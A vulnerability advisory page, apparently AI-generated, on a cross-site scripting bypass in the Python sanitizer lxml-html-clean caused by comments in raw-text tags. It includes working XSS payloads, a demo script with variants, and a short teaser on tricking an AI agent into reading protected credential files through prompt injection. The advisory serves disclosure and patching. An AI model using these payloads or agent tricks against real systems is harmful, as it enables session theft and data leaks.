CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-141555

CVE-2026-141555: Cross-Site Scripting via Raw-Text Comment Breakout in lxml-html-clean

Alon Barad
Alon Barad
Software Engineer

Dec 3, 2026·10 min read·4 visits

Executive Summary (TL;DR)

A parser differential between libxml2 and HTML5 browsers allows attackers to bypass HTML sanitization in lxml-html-clean (< 0.4.7) when configured with comments=False. By nesting a closing tag such as </noscript> inside an HTML comment within a raw-text container, attackers achieve Cross-Site Scripting (XSS) in the victim's browser.

CVE-2026-141555 (GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (XSS) vulnerability in the Python HTML sanitization library lxml-html-clean prior to version 0.4.7. The vulnerability stems from a parser differential between libxml2 and HTML5 browser parsing engines when handling HTML comments nested within raw-text and escapable raw-text elements (such as <noscript>, <textarea>, <title>, and <iframe>). When the cleaner is instantiated with the non-default configuration comments=False, an attacker can embed a closing tag inside an HTML comment to prematurely terminate the raw-text container in the client browser and execute arbitrary JavaScript.

Vulnerability Overview

The Python library lxml-html-clean provides HTML sanitization capabilities extracted from the legacy lxml.html.clean module. Web applications use this library to strip malicious markup, event handlers, and script elements from untrusted user input before rendering the content in a browser. The library relies on lxml and the underlying C library libxml2 to parse input strings into a Document Object Model (DOM) tree, transform the tree according to configured sanitization rules, and serialize the resulting DOM back into an HTML string.

CVE-2026-141555 (also tracked as GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (CWE-79) vulnerability affecting lxml-html-clean versions prior to 0.4.7. The flaw occurs when an application instantiates lxml_html_clean.clean.Cleaner with the non-default configuration parameter comments=False, which instructs the sanitizer to retain benign HTML comments rather than removing them. Under this configuration, the sanitizer fails to account for parsing differences between libxml2 and modern HTML5 web browsers when comments are placed inside raw-text or escapable raw-text containers.

An attacker can exploit this discrepancy by submitting an HTML payload containing a raw-text element (such as <noscript>, <noembed>, <noframes>, <iframe>, <xmp>, <title>, <textarea>, <style>, <script>, or <plaintext>) that wraps an HTML comment containing a matching closing tag and malicious markup. While libxml2 evaluates the closing tag and malicious markup as inert text inside a comment node, a browser rendering the sanitized output treats the comment delimiter as literal text, closes the raw-text element at the smuggled end tag, and executes the subsequent markup.

This vulnerability is a variant of an earlier parser differential tracked as GHSA-5jfw-gq64-q45f. While the prior patch addressed raw-text breakouts specifically within <style> text nodes, it did not inspect retained HTML comment nodes inside <noscript> or other raw-text ancestor elements.

Root Cause Analysis

The root cause of CVE-2026-141555 is a parser differential between the libxml2 HTML parser and the WHATWG HTML5 parsing specification implemented by modern web browsers. In the HTML5 specification, the tokenizer switches between different parsing states depending on the current context element and whether JavaScript execution is enabled in the client environment. These states include standard DATA mode, RAWTEXT mode (used for <noscript> when scripting is enabled, as well as <style>, <xmp>, <iframe>, <noembed>, and <noframes>), RCDATA mode (escapable raw text, used for <title> and <textarea>), and PLAINTEXT mode.

When an HTML5-compliant browser with scripting enabled encounters an opening <noscript> tag, the tokenizer transitions into the RAWTEXT state. In both RAWTEXT and RCDATA states, the browser does not recognize <!-- as the beginning of an HTML comment token. Instead, the characters <!-- are emitted as standard character tokens, and the parser continues consuming all subsequent characters as raw text until it encounters an exact closing tag sequence corresponding to the active open element (for example, </noscript>).

In contrast, libxml2 operates as a static XML/HTML parser without a JavaScript engine and does not apply the HTML5 scripting-enabled RAWTEXT tokenization rules to elements like <noscript>. When libxml2 parses <noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>, it evaluates the contents of <noscript> as standard markup. Consequently, libxml2 recognizes <!-- and --> as comment boundaries and constructs a single etree.Comment DOM node whose text value is </noscript><img src=x onerror=alert(1)>.

During the sanitization phase in lxml-html-clean versions prior to 0.4.7, if Cleaner is initialized with comments=False, the sanitizer invokes kill_conditional_comments() to strip Internet Explorer conditional comments (<!--[if ...]>) while leaving standard etree.Comment nodes intact. Because the sanitizer trusts libxml2's classification of the payload as an inert comment node, it does not inspect the comment's text for closing tags that match an enclosing raw-text ancestor. When the DOM tree is serialized back into an HTML string and delivered to a browser, the browser's RAWTEXT tokenizer closes the container inside the comment and parses the remaining comment body as active HTML markup.

Code Analysis

In lxml_html_clean/clean.py prior to version 0.4.7, comment filtering during non-default comment retention was handled exclusively by the kill_conditional_comments() method on the Cleaner class. This method scanned the document for etree.Comment nodes and removed only those matching the _has_conditional_comment regular expression.

# Vulnerable implementation in lxml_html_clean/clean.py (< 0.4.7)
def kill_conditional_comments(self, doc):
    """
    IE conditional comments basically embed HTML that the parser
    doesn't normally see.  We can't allow anything like that, so
    we'll kill any comments that could be conditional.
    """
    self._kill_elements(
        doc,
        lambda el: _has_conditional_comment(el.text),
        etree.Comment)

Commit c83f0befb32505782858f56a17ac572fbf979f62 resolves the vulnerability by introducing an explicit set of raw-text and escapable raw-text tag names (_breakout_raw_text_elements), a regular expression to extract closing tag names (_find_end_tag_names), and an ancestor traversal function _comment_breaks_out_of_raw_text_ancestor(el).

# Patched implementation in lxml_html_clean/clean.py (0.4.7)
_breakout_raw_text_elements = frozenset((
    'noscript', 'noembed', 'noframes', 'iframe', 'xmp',
    'title', 'textarea', 'style', 'script', 'plaintext',
))
 
# Matches any HTML closing tag sequence such as </noscript> or </NoScript>
_find_end_tag_names = re.compile(r'</([a-zA-Z][a-zA-Z0-9:_-]*)').findall
 
 
def _comment_breaks_out_of_raw_text_ancestor(el):
    text = el.text
    # Fast path: ignore empty comments or comments without closing tag markers
    if not text or '</' not in text:
        return False
    # Extract all closing tag names and normalize to lowercase
    end_tags = {name.lower() for name in _find_end_tag_names(text)}
    if not end_tags:
        return False
    # Traverse up the DOM tree to check all ancestor elements
    parent = el.getparent()
    while parent is not None:
        tag = parent.tag
        if isinstance(tag, str):
            tag = tag.lower()
            # Drop comment if an ancestor is a raw-text element and its closing tag appears in the comment
            if tag in _breakout_raw_text_elements and tag in end_tags:
                return True
        parent = parent.getparent()
    return False

The kill_conditional_comments() method was updated to evaluate both _has_conditional_comment(el.text) and _comment_breaks_out_of_raw_text_ancestor(el) within the lambda predicate passed to self._kill_elements(). Because kill_conditional_comments() runs whenever self.remove_unknown_tags or comment handling is processed—even when comments=False is specified—any comment capable of breaking out of a raw-text ancestor is unconditionally stripped from the DOM.

> [!NOTE] > The fix traverses the full parent chain (while parent is not None) rather than checking only the immediate parent node. Because libxml2 parses children inside <noscript> as normal markup, an attacker could nest the malicious comment inside intermediate elements (such as <noscript><p><span><!--</noscript>...--></span></p></noscript>). Full ancestor traversal ensures deeply nested breakout comments are detected and removed, while benign comments containing closing tags outside of raw-text containers (e.g., <div><!-- </div> --></div>) are preserved.

Exploitation

Exploiting CVE-2026-141555 requires an application to accept untrusted HTML input, sanitize it using lxml_html_clean.clean.Cleaner configured with comments=False, and render the sanitized output inside a web page viewed by a victim user with JavaScript enabled. If Cleaner is used with its default settings (comments=True), all HTML comments are stripped unconditionally and the application is not vulnerable.

The primary proof-of-concept payload uses a <noscript> container and embeds a </noscript> closing tag followed by an <img> element with an onerror event handler inside an HTML comment:

<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>

When processed by a vulnerable version of lxml-html-clean, the payload survives sanitization unaltered. The following Python script demonstrates the sanitization bypass in versions prior to 0.4.7:

from lxml_html_clean import Cleaner
 
# Instantiate Cleaner with comments=False to retain HTML comments
cleaner = Cleaner(comments=False)
 
# Standard XSS payload smuggled via raw-text comment breakout
payload = '<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>'
 
cleaned_html = cleaner.clean_html(payload)
print(cleaned_html)
# Output in < 0.4.7: <noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
# Output in >= 0.4.7: <noscript></noscript>

Attackers can adapt this technique across several variations depending on which tags are permitted by the target application's Cleaner configuration (allow_tags or remove_tags). Because HTML5 closing tags are case-insensitive and libxml2 permits arbitrary nesting inside elements it treats as regular markup, the following variant payloads also bypass sanitization in versions prior to 0.4.7:

<!-- Deeply nested intermediate elements inside <noscript> -->
<noscript><p><span><!--</noscript><img src=x onerror=alert(1)>--></span></p></noscript>
 
<!-- Case-insensitive closing tag matching in HTML5 browsers -->
<noscript><!--</NoScript><img src=x onerror=alert(1)>--></noscript>
 
<!-- Alternative raw-text and escapable raw-text containers -->
<noembed><!--</noembed><img src=x onerror=alert(1)>--></noembed>
<iframe><!--</iframe><img src=x onerror=alert(1)>--></iframe>
<xmp><!--</xmp><img src=x onerror=alert(1)>--></xmp>
<title><!--</title><img src=x onerror=alert(1)>--></title>
<textarea><!--</textarea><img src=x onerror=alert(1)>--></textarea>
<noframes><!--</noframes><img src=x onerror=alert(1)>--></noframes>

Impact Assessment

Successful exploitation of CVE-2026-141555 results in stored or reflected Cross-Site Scripting (XSS) within the security origin of the vulnerable web application. Once the sanitized HTML is rendered in the victim's browser, the injected JavaScript executes immediately without requiring any interaction beyond loading the page (as demonstrated by the onerror handler on an invalid image source).

An attacker executing arbitrary JavaScript in the context of an authenticated user's session can read sensitive data from the DOM, exfiltrate session identifiers or authentication tokens not protected by the HttpOnly flag, and perform unauthorized state-changing actions on behalf of the victim. In applications such as webmail clients, content management systems, forums, or collaborative document editors that rely on lxml-html-clean to sanitize rich user content while retaining HTML comments, a stored payload can propagate across multiple user sessions.

The vulnerability is assigned a CVSS v3.1 base score of 4.7 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N. The Attack Complexity is rated High (AC:H) because exploitation depends on a non-default application configuration (comments=False) and requires the client browser to operate with scripting enabled so that <noscript> and similar tags are parsed under RAWTEXT or RCDATA rules.

No Privileges are Required (PR:N) when the application accepts input from unauthenticated sources, though User Interaction is Required (UI:R) because a victim must view the rendered page. The Scope is Changed (S:C) because the vulnerable component is a server-side Python sanitization library while the security impact manifests within the client's web browser environment, impacting Confidentiality (C:L) and Integrity (I:L) without affecting service Availability (A:N).

Remediation

Development and security teams using lxml-html-clean should upgrade the package to version 0.4.7 or later immediately. Version 0.4.7 updates kill_conditional_comments() to inspect all comments inside raw-text and escapable raw-text ancestors (noscript, noembed, noframes, iframe, xmp, title, textarea, style, script, and plaintext) and strips any comment node containing a closing tag that matches an enclosing raw-text element.

pip install --upgrade "lxml-html-clean>=0.4.7"

If an immediate package upgrade is not feasible, applications can mitigate the vulnerability by reverting to the default Cleaner behavior regarding HTML comments. Setting comments=True (or omitting the comments argument when instantiating Cleaner or calling clean_html) instructs lxml-html-clean to remove all etree.Comment nodes from the document tree, eliminating the comment-based breakout vector.

from lxml_html_clean import Cleaner
 
# Safe workaround: strip all HTML comments (default behavior)
cleaner = Cleaner(comments=True)

As a defense-in-depth measure, security teams should audit their codebases for all instantiations of Cleaner(comments=False) and enforce a strict Content Security Policy (CSP) that restricts inline script execution (script-src 'self'). Additionally, Web Application Firewalls (WAFs) can be configured to inspect incoming HTML submissions for raw-text containers carrying nested HTML comments with closing tag sequences.

Official Patches

fedora-pythonOfficial fix commit dropping breakout comments inside raw-text ancestor elements
fedora-pythonlxml-html-clean 0.4.7 release tag
GitHubGitHub Security Advisory GHSA-vfhw-gfwp-vxfj

Fix Analysis (1)

Technical Appendix

CVSS Score
4.7/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

fedora-python/lxml_html_cleanlxml-html-clean (PyPI)

Affected Versions Detail

Product
Affected Versions
Fixed Version
lxml-html-clean
fedora-python
>= 0.1.0, < 0.4.70.4.7
AttributeDetail
CVE IDCVE-2026-141555 (GHSA-vfhw-gfwp-vxfj)
Weakness ClassCWE-79: Cross-Site Scripting (XSS) via Parser Differential
CVSS v3.1 Score4.7 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N)
Affected Componentlxml-html-clean (< 0.4.7) with Cleaner(comments=False)
Patched Versionlxml-html-clean 0.4.7
Attack VectorNetwork (Crafted HTML comment nested in raw-text container)
Exploit StatusProof-of-Concept Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Patch committed (c83f0befb32505782858f56a17ac572fbf979f62) by Lumír Balhar and version 0.4.7 released
2026-11-23
GitHub Security Advisory GHSA-vfhw-gfwp-vxfj and CVE-2026-141555 published
2026-12-02
NVD updated CVSS v3.1 scoring and CWE-79 classification
2026-12-03

References & Sources

  • [1]GitHub Security Advisory: GHSA-vfhw-gfwp-vxfj
  • [2]Fix Commit: c83f0befb32505782858f56a17ac572fbf979f62
  • [3]GitHub Release: lxml-html-clean 0.4.7
  • [4]CVE.org Record: CVE-2026-141555
  • [5]NVD Detail: CVE-2026-141555
  • [6]cvelistV5 Definition: CVE-2026-141555.json

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-141556
4.7

CVE-2026-141556: Cross-Site Scripting Bypass via iframe srcdoc and SVG Animation Attributes in lxml-html-clean

CVE-2026-141556 (GHSA-5gvf-7wqf-r4cv) is an input sanitization bypass vulnerability resulting in Cross-Site Scripting (XSS) in lxml-html-clean versions through 0.4.6. When the Cleaner class is initialized with safe_attrs_only=False and javascript=True, the link sanitization mechanism relies exclusively on lxml.html.defs.link_attrs via doc.rewrite_links(). Because this attribute list omits the iframe srcdoc attribute and SVG SMIL animation value attributes (to, from, by, values), attackers can inject arbitrary HTML and JavaScript payloads that survive sanitization.

Amit Schendel
Amit Schendel
7 views•11 min read
•about 3 hours ago•CVE-2026-140000
7.5

CVE-2026-140000: Memory Exhaustion via Buffer Slicing in websocket-driver StreamReader

CVE-2026-140000 (also tracked as GHSA-j7r2-xppq-m353) is an uncontrolled resource consumption vulnerability in the faye/websocket-driver-node package prior to version 0.8.2. The StreamReader.read() implementation relies on Buffer.slice() when extracting small segments from incoming network buffers. Because Node.js Buffer slices share underlying memory with their parent ArrayBuffer, small fragmented WebSocket frames retain references to entire 16 KiB to 64 KiB TCP read buffers. An unauthenticated remote attacker can transmit a sequence of incomplete fragmented frames to prevent garbage collection of the parent TCP buffers, causing severe memory inflation and a denial of service via out-of-memory process termination.

Amit Schendel
Amit Schendel
8 views•12 min read
•about 4 hours ago•CVE-2026-135390
7.4

CVE-2026-135390: Authentication Bypass via Cross-Role Session Resumption in Pion DTLS

CVE-2026-135390 is an authentication bypass vulnerability in the Pion DTLS Go library caused by improper validation of cached DTLS 1.2 sessions. When an application shares a single SessionStore across both outbound client connections and inbound server listeners, a remote server previously contacted by the application's client can reuse the negotiated session identifier and master secret to authenticate against the application's server listener via abbreviated session resumption, bypassing mutual TLS and Pre-Shared Key checks.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-77132
5.3

CVE-2026-77132: Missing Authorization and Information Disclosure in TYPO3 CMS Backend Localization Wizard

CVE-2026-77132 is an authorization bypass and information disclosure vulnerability in the TYPO3 CMS backend localization wizard (ext:backend). Multiple backend AJAX endpoints failed to validate page-level and record-level access permissions before processing requests. As a result, authenticated backend users with restricted privileges can query these routes directly to enumerate sensitive metadata, record titles, unique identifiers, and layout structures across unauthorized sections of the page tree.

Alon Barad
Alon Barad
6 views•10 min read
•about 6 hours ago•CVE-2026-141554
3.1

CVE-2026-141554: SandboxShellTool Ignore Filter Bypass via Recursive Directory Readers in AG2

CVE-2026-141554 (GHSA-xhqj-2fcc-8vf7) is an incorrect authorization vulnerability (CWE-863) in AG2 (formerly AutoGen), an open-source AgentOS framework for multi-agent AI systems. In versions from 0.13.3 prior to 1.3.4, the SandboxShellTool component configured with readonly=True and an ignore pattern list fails to prevent recursive search and comparison utilities (grep, egrep, fgrep, and diff) from accessing and disclosing restricted files. Because the command-line security filter only inspects explicit path tokens passed as arguments rather than files discovered autonomously during directory traversal, an AI agent processing untrusted input or prompt injections can be induced to read and expose protected files such as .env configurations, cryptographic keys, and credentials.

Amit Schendel
Amit Schendel
10 views•13 min read
•about 7 hours ago•CVE-2026-135391
6.9

CVE-2026-135391: Uncontrolled Resource Consumption via Oversized Peer RSA Keys in Pion DTLS

Pion DTLS versions from 2.0.0 prior to 3.1.13 and 4.0.0-rc.6 fail to enforce an upper bound on the modulus bit length of peer RSA public keys during handshake signature and certificate chain verification. Because RSA verification performs modular exponentiation whose computational complexity grows superlinearly with modulus size, a remote unauthenticated peer can transmit a synthetic certificate containing an arbitrary multi-thousand-bit RSA modulus and an invalid signature to trigger CPU exhaustion.

Alon Barad
Alon Barad
6 views•10 min read